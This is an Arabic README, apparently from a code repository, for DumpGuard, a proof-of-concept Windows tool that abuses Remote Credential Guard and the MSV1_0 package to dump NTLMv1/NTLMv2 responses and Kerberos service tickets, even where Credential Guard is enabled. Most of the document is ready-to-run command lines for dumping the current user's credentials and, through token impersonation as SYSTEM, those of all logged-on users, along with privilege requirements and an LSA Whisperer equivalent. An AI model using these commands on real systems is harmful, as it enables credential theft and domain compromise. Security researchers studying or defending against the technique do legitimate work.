
أداة إثبات المفهوم لاستخراج مواد الاعتماد من الجلسات المحمية على أنظمة ويندوز الحديثة.

DumpGuard هي أداة لاستخراج بيانات الاعتماد وإجراء أبحاث البروتوكولات لأنظمة Windows الحديثة. تستغل بروتوكول Remote Credential Guard لاستعادة مواد بيانات الاعتماد حتى عند تمكين Credential Guard، وتتضمن أيضًا مسار حزمة المصادقة Microsoft v1 لاستخراج NTLM الموجه للجلسات.
تشمل الوظائف الحالية:
يمكنك تنزيل النسخ المُجمَّعة مسبقًا من قسم الإصدارات في هذا المستودع.
إخلاء مسؤولية: هذه الأداة مُقدَّمة لأغراض تعليمية واختبارية مشروعة فقط. لا يُقرّ مؤلف هذا المستودع أو يدعم أي نوع من إساءة الاستخدام ولا يتحمل أي مسؤولية عن الأضرار أو العواقب القانونية الناتجة عن استخدام هذه الأداة.
يلخص الجدول التالي التقنيات المنفذة حاليًا.
تستخدم DumpGuard نموذج command بالإضافة إلى target.
command يختار تقنية الاستخراج.target يختار ما إذا كان سيتم العمل على الجلسة الحالية أم تعداد الجلسات.الأوامر المدعومة:
/command:ntlmv1/command:ntlmv2/command:kerbtgs/command:msv10الأهداف المدعومة:
/target:self/target:allمعلمات Remote Credential Guard الشائعة:
/domain:<DOMAIN>/username:<SAMACCOUNTNAME>/password:<PASSWORD>/spn:<SPN>معلمات Kerberos TGS:
/tgsdomain:<DOMAIN>/tgsspn:<SPN>إذا تم حذف /spn لحساب كمبيوتر، فإن DumpGuard تستخدم القيمة الافتراضية HOST/<computername>.
لتفريغ مواد بيانات الاعتماد للمستخدم الحالي من سياق غير مميز، تقوم DumpGuard بالمصادقة إلى حساب مُفعَّل بـ SPN باستخدام Remote Credential Guard، ثم تُصدر طلبات متابعة عبر سياق الأمان المُنشأ.
يعمل هذا بغض النظر عن حالة Credential Guard، ولكنه يتطلب بيانات اعتماد لحساب مُفعَّل بـ SPN.
متطلبات الصلاحية: لا شيء.
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:self /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:self /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:self /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>] [/tgsdomain:<DOMAIN>] /tgsspn:<service/host>
إذا تم حذف /tgsdomain، فإنه يأخذ القيمة الافتراضية لقيمة /domain في Remote Credential Guard.
لتفريغ مواد بيانات الاعتماد لجميع المستخدمين المتاحين حاليًا من سياق مميز، تقوم DumpGuard بانتحال الرموز المميزة من العمليات الجارية، وتصادق إلى حساب مُفعَّل بـ SPN باستخدام Remote Credential Guard، ثم تُصدر طلبات متابعة عبر سياق الأمان المُنشأ.
يعمل هذا بغض النظر عن حالة Credential Guard، ولكنه يتطلب بيانات اعتماد لحساب مُفعَّل بـ SPN.
متطلبات الصلاحية: SYSTEM أو Administrator (يتطلب SeImpersonatePrivilege).
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:all /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:all /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:all /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>] [/tgsdomain:<DOMAIN>] /tgsspn:<service/host>
إذا تم حذف /tgsdomain، فإنه يأخذ القيمة الافتراضية لقيمة /domain في Remote Credential Guard.
لتفريغ استجابات NTLM للمستخدمين المُصادق عليهم حاليًا من سياق SYSTEM مميز، تتفاعل DumpGuard مباشرة مع NTLM SSP وتطلب استجابات التحدي لكل جلسة تسجيل دخول تم اكتشافها.
يعمل هذا فقط في ظل الشروط التالية:
متطلبات الصلاحية: SYSTEM (يتطلب SeTcbPrivilege).
DumpGuard.exe /command:msv10
يمكن أيضًا تنفيذ هذا الهجوم باستخدام LSA Whisperer بالأمر التالي:
lsa-whisperer.exe msv1_0 Lm20GetChallengeResponse --luid {session id} --challenge {challenge to clients} [flags...]
لقد قمت بهندسة عكسية وإعادة إنشاء الواجهات التي يعرضها Credential Guard (LsaIso.exe) وأدرجتها في هذا المستودع لمن يهتم بإجراء المزيد من الأبحاث.
اعتبارًا من أكتوبر 2025، تم تنفيذ الواجهات التالية:
شكرًا لـ SpecterOps على دعم هذا البحث، ولزملائي في العمل الذين ساعدوا في تطويره.
| التقنية | الأمر | يتطلب SYSTEM | يتطلب حساب SPN | يمكن تفريغ Credential Guard |
|---|
| استخراج NTLMv1 عبر Remote Credential Guard | ntlmv1 | self: ❌all: ✅ | ✅ | ✅ |
| استخراج NTLMv2 عبر Remote Credential Guard | ntlmv2 | self: ❌all: ✅ | ✅ | ✅ |
| استخراج Kerberos TGS عبر Remote Credential Guard | kerbtgs | self: ❌all: ✅ | ✅ | ✅ |
| استخراج NTLMv1 عبر حزمة المصادقة Microsoft v1 | msv10 | ✅ | ❌ | ❌ |